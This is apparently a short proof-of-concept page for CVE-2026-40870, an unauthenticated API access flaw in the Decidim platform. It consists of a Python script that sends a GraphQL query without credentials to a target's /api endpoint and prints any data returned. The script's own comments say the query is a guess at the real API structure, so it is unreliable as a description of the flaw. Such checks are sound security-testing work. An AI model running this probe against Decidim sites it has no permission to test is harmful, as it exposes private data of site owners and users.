CVE-2026-40870 Decidim API权限绕过致信息泄露

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-40870: Unauthenticated access to commentable resources via API. """ # The vulnerability exists in the /api endpoint. # We attempt to access resources without providing an Authorization header. api_endpoint = f"{target_url.rstrip('/')}/api" # Example payload attempting to query the 'commentable' field or comments # Note: Exact API structure depends on Decidim configuration, but the lack of auth is the key. params = { "query": "query { commentable { id } }" # GraphQL example often used in Decidim, or REST endpoint } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Sending request without authentication (PR:N) response = requests.get(api_endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected!") print(f"[+] Response received from {api_endpoint} without authentication.") print(f"[+] Response Data (Snippet): {response.text[:200]}") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual Decidim instance URL check_vulnerability(target)